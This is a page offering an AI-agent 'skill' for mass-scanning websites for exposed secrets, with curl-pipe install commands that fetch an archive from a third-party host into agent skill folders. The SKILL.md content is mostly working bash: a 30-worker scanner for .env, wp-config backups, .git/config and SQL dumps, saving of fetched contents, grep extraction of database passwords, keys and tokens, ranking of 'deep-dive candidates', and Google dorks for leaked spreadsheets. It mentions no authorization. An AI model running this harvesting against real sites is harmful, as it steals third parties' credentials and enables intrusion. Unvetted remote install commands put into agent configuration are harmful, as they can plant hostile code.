source-leak-hunt – Security skill for AI agents
Mass scan for exposed env files, backups, and git configs.
Install the source-leak-hunt skill with one command
Pick the tool you use, copy the command and paste it in your terminal. The skill lands in that tool's skills folder and is ready in your next session.
Claude Code
mkdir -p ~/.claude/skills && curl -fsSL https://skill.dn1nguoi.com/z/source-leak-hunt-767c8.tgz | tar xz -C ~/.claude/skills
Call it in Claude Code: /source-leak-hunt – then describe the task you want done.
Codex
mkdir -p ~/.codex/skills && curl -fsSL https://skill.dn1nguoi.com/z/source-leak-hunt-767c8.tgz | tar xz -C ~/.codex/skills
Call it in Codex: $source-leak-hunt – then describe the task you want done.
Hermes Agent
mkdir -p ~/.hermes/skills && curl -fsSL https://skill.dn1nguoi.com/z/source-leak-hunt-767c8.tgz | tar xz -C ~/.hermes/skills
Call it in Hermes Agent: /source-leak-hunt – then describe the task you want done.
DeepSeek
mkdir -p ~/.deepcode/skills && curl -fsSL https://skill.dn1nguoi.com/z/source-leak-hunt-767c8.tgz | tar xz -C ~/.deepcode/skills
Call it in DeepSeek: /source-leak-hunt – then describe the task you want done.
SKILL.md content
Source Leak Hunt Skill
Mass scanning for exposed sensitive files (.env, .git/config, wp-config.php.bak, debug.log, backup.sql, phpinfo.php, Dockerfile, etc.) with content-based false positive filtering. Source leaks are the second most common finding (~7% of targets) after WordPress user enumeration.
When to Use
- After
skill_view(name='wp-mass-recon')confirms a target is alive. - Broad scanning across a batch of domains.
- When probing for credential exposure that enables deeper access.
- Complementing
skill_view(name='js-secrets-extraction')for client-side secrets.
Prerequisites
terminalwith curl.- List of live URLs (output from httpx or wp-mass-recon Phase 1).
- Persistence: output directory at
$OUTDIR/leaks/.
How to Run
# Quick scan single target (20 paths)
TARGET="https://example.com"
for path in .env .git/config wp-config.php.bak debug.log backup.sql info.php phpinfo.php \
.env.backup .env.local .env.production wp-config.php~ .git/HEAD .backup.sql \
docker-compose.yml Dockerfile .DS_Store robots.txt sitemap.xml; do
code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 5 --connect-timeout 5 "$TARGET/$path")
[[ "$code" == "200" ]] && echo "HTTP 200: $TARGET/$path"
sleep 0.2
doneQuick Reference
| Path | What It Exposes | Severity |
|------|----------------|----------|
| .env | DB creds, API keys, app secrets | Critical |
| wp-config.php.bak | MySQL root password, salts | Critical |
| .git/config | Repository URL, credentials | High |
| debug.log | PHP errors, server paths, SQL queries | High |
| backup.sql | Full database dump | Critical |
| info.php / phpinfo.php | PHP config, disable_functions, server env | High |
| docker-compose.yml | Service architecture, env vars | Medium |
| Dockerfile | Build config, exposed ports | Low |
| .env.backup / .env.local | Same as .env, alternate names | Critical |
| wp-config.php~ | Vim swap of wp-config | Critical |
| .DS_Store | Directory listing (macOS) | Low |
| error_log | PHP error log (can be multi-MB, full of paths/queries) | High |
Procedure
Step 1 — Parallel Mass Scan
#!/bin/bash
URLS_FILE="$1" # One URL per line
OUTDIR="$OUTDIR/leaks"
mkdir -p "$OUTDIR"
PATHS=(
".env"
".git/config"
"wp-config.php.bak"
"debug.log"
"backup.sql"
"info.php"
"phpinfo.php"
".env.backup"
".env.local"
".env.production"
"wp-config.php~"
".git/HEAD"
"docker-compose.yml"
"Dockerfile"
".DS_Store"
"robots.txt"
"sitemap.xml"
"error_log"
"wp-content/debug.log"
".backup.sql"
)
# Content verification patterns (avoids SPA catch-all false positives)
declare -A PATTERNS
PATTERNS[".env"]='DB_|APP_|_KEY|_SECRET|DATABASE|PASSWORD|TOKEN'
PATTERNS["wp-config.php.bak"]='DB_NAME|DB_PASSWORD|AUTH_KEY'
PATTERNS[".git/config"]='\[core\]'
PATTERNS["debug.log"]='PHP|ERROR|WARNING|Stack trace'
PATTERNS["backup.sql"]='CREATE TABLE|INSERT INTO|DROP TABLE'
PATTERNS["info.php"]='PHP Version|phpinfo'
PATTERNS["phpinfo.php"]='PHP Version|phpinfo'
PATTERNS[".env.backup"]='DB_|APP_|_KEY|_SECRET'
PATTERNS[".env.local"]='DB_|APP_|_KEY|_SECRET'
PATTERNS[".env.production"]='DB_|APP_|_KEY|_SECRET'
PATTERNS["wp-config.php~"]='DB_NAME|DB_PASSWORD'
PATTERNS["error_log"]='PHP|ERROR|Stack trace'
scan_target() {
local url="$1"
local domain
domain=$(echo "$url" | sed 's|https\?://||' | sed 's|/.*||')
for path in "${PATHS[@]}"; do
local full_url="${url}/${path}"
local code
code=$(curl -sk -o /tmp/leak_check_$$.tmp -w "%{http_code}" --max-time 5 --connect-timeout 5 "$full_url" 2>/dev/null)
if [[ "$code" == "200" ]]; then
local content
content=$(head -c 2000 /tmp/leak_check_$$.tmp 2>/dev/null)
local pattern="${PATTERNS[$path]}"
if [[ -n "$pattern" ]] && echo "$content" | grep -qiE "$pattern"; then
echo "[LEAK] $full_url (VERIFIED: $path)"
echo "$full_url" >> "$OUTDIR/${domain}_leaks.txt"
cp /tmp/leak_check_$$.tmp "$OUTDIR/${domain}_${path//\//_}.content" 2>/dev/null
elif [[ -z "$pattern" ]]; then
# No pattern check — just log HTTP 200 (e.g., robots.txt)
local size=$(wc -c < /tmp/leak_check_$$.tmp)
if [[ "$size" -gt 50 ]]; then
echo "[INFO] $full_url (HTTP 200, ${size} bytes)"
echo "$full_url" >> "$OUTDIR/${domain}_leaks.txt"
fi
fi
fi
sleep 0.3
done
rm -f /tmp/leak_check_$$.tmp
}
export -f scan_target
export OUTDIR
export PATHS
# Run 30 parallel workers
cat "$URLS_FILE" | xargs -P 30 -I {} bash -c 'scan_target "{}"'
echo "[+] Done. Results in $OUTDIR/"Step 2 — Extract Credentials from Leaked Files
# From .env files
grep -rhE '(DB_|APP_|_KEY|_SECRET|DATABASE|PASSWORD|TOKEN|SECRET)=' $OUTDIR/leaks/*.env*.content 2>/dev/null | sort -u
# From wp-config backups
grep -rhE 'DB_NAME|DB_USER|DB_PASSWORD|DB_HOST|AUTH_KEY' $OUTDIR/leaks/*wp-config* 2>/dev/null
# From .git/config
grep -rh 'url = ' $OUTDIR/leaks/*.git_config.content 2>/dev/null
# From SQL dumps
grep -rhE 'CREATE TABLE|INSERT INTO' $OUTDIR/leaks/*backup* $OUTDIR/leaks/*.sql* 2>/dev/null | head -20Step 3 — Find Targets with Multiple Leaks (Deep-Dive Candidates)
for f in $OUTDIR/leaks/*_leaks.txt; do
count=$(wc -l < "$f")
[[ "$count" -ge 3 ]] && echo "$(basename "$f" _leaks.txt): $count leaks"
done | sort -t: -k2 -rnPitfalls
- SPA catch-all false positives over 70% of results without filtering. Single-page apps return HTTP 200 with index.html for any path. Content verification is mandatory.
- CloudFront/S3 error pages. Some CDNs return 200 with an XML error body for missing files. Check content type and body.
- Truncated content on large files.
error_logfiles can be 1.7MB+. Fetch in chunks or usecurl -r 0-5000for sampling. - git/HEAD false positive. Some themes/setups have
.git/HEADreturning 200 with a legitimate git hash. Verify.git/configfirst. - Parked/for-sale domains return HTTP 200 for every path. Generic parking pages serve content for /.env, /.git/config, /info.php, etc. with no error handling — every path returns 200 with the same landing page. Detect these by checking if multiple unrelated paths return identical content (same body hash, same
<title>, or same keyword like "for sale" or "parked"). Add early-exit: if /robots.txt and /.env both return 200 with near-identical HTML, mark domain as parked and skip further source-leak checks.
Verification
- Every
.envleak MUST contain at least one of:DB_,APP_,_KEY,_SECRET,PASSWORD,TOKEN. - Every
wp-config.php.bakleak MUST containDB_NAMEandDB_PASSWORD. - Every
.git/configleak MUST contain[core]section header. - Every SQL backup MUST contain DDL (
CREATE TABLE) or DML (INSERT INTO) statements. - Log all verified leaks with timestamp and HTTP response size.
Phase 6 — Backup File Discovery
# bfac — multi-level backup file detection
bfac --url https://target.com \
--detection-technique all \
--level 3 \
--exclude-status-codes 404,500
# Wayback Machine — historical sensitive files
waybackurls https://target.com | grep -iE \
"\.(xls|xlsx|csv|sql|db|bak|backup|old|tar\.gz|tgz|zip|7z|rar|pdf|pem|key|crt|env|json|yml|yaml|conf|config|git|htpasswd|log|dump|DS_Store)" \
| sort -u > sensitive_wayback.txt
# Check which are still accessible
cat sensitive_wayback.txt | httpx -silent -mc 200 -o accessible_sensitive.txt
# Common backup patterns to probe
for ext in bak old backup zip tar.gz tgz sql dump; do
curl --max-time 30 --connect-timeout 10 -skI "https://target.com/backup.$ext" | head -1
curl --max-time 30 --connect-timeout 10 -skI "https://target.com/site.$ext" | head -1
curl --max-time 30 --connect-timeout 10 -skI "https://target.com/target.$ext" | head -1
sleep 0.3
donePhase 7 — Google Services Leak Dorking
# Google Sheets — internal spreadsheets often left public
# Manual search:
# site:docs.google.com/spreadsheets "target.com"
# site:docs.google.com/spreadsheets "@target.com"
# site:docs.google.com/spreadsheets "password" "target.com"
# Google Drive files
# site:drive.google.com "target.com" "confidential"
# Firebase/Firestore URLs in public search results
# site:firebaseio.com "target.com"
# site:firestore.googleapis.com "target-app"
# GCP buckets
# site:storage.googleapis.com "target"
# site:storage.cloud.google.com "target"Related skills
- cross-chain-relayer-audit – Cross-chain relayer bridge audit register: message hash verifications, replay protection…
- cross-platform-contract-propagation-audit – Use when auditing whether a field, enum, flag, or API contract propagates consistently…
- security-requirement-extraction – Derive security requirements from threat models and business context. Use when…
- staging-subdomain-hunt – Hunt staging via crt.sh when production is WAF-hardened.
- subdomain-enumeration – Map subdomains via crt.sh and subfinder at recon kickoff.
- scholar-evaluation – Provides qualitative-first, evidence-traceable developmental review of scholarly works…
- subdomain-takeover-hunt – Detect and verify subdomain takeover via dangling CNAME to unclaimed services.
- cyber-audit – Run read-only exposure checks for security advisories and write a structured local audit…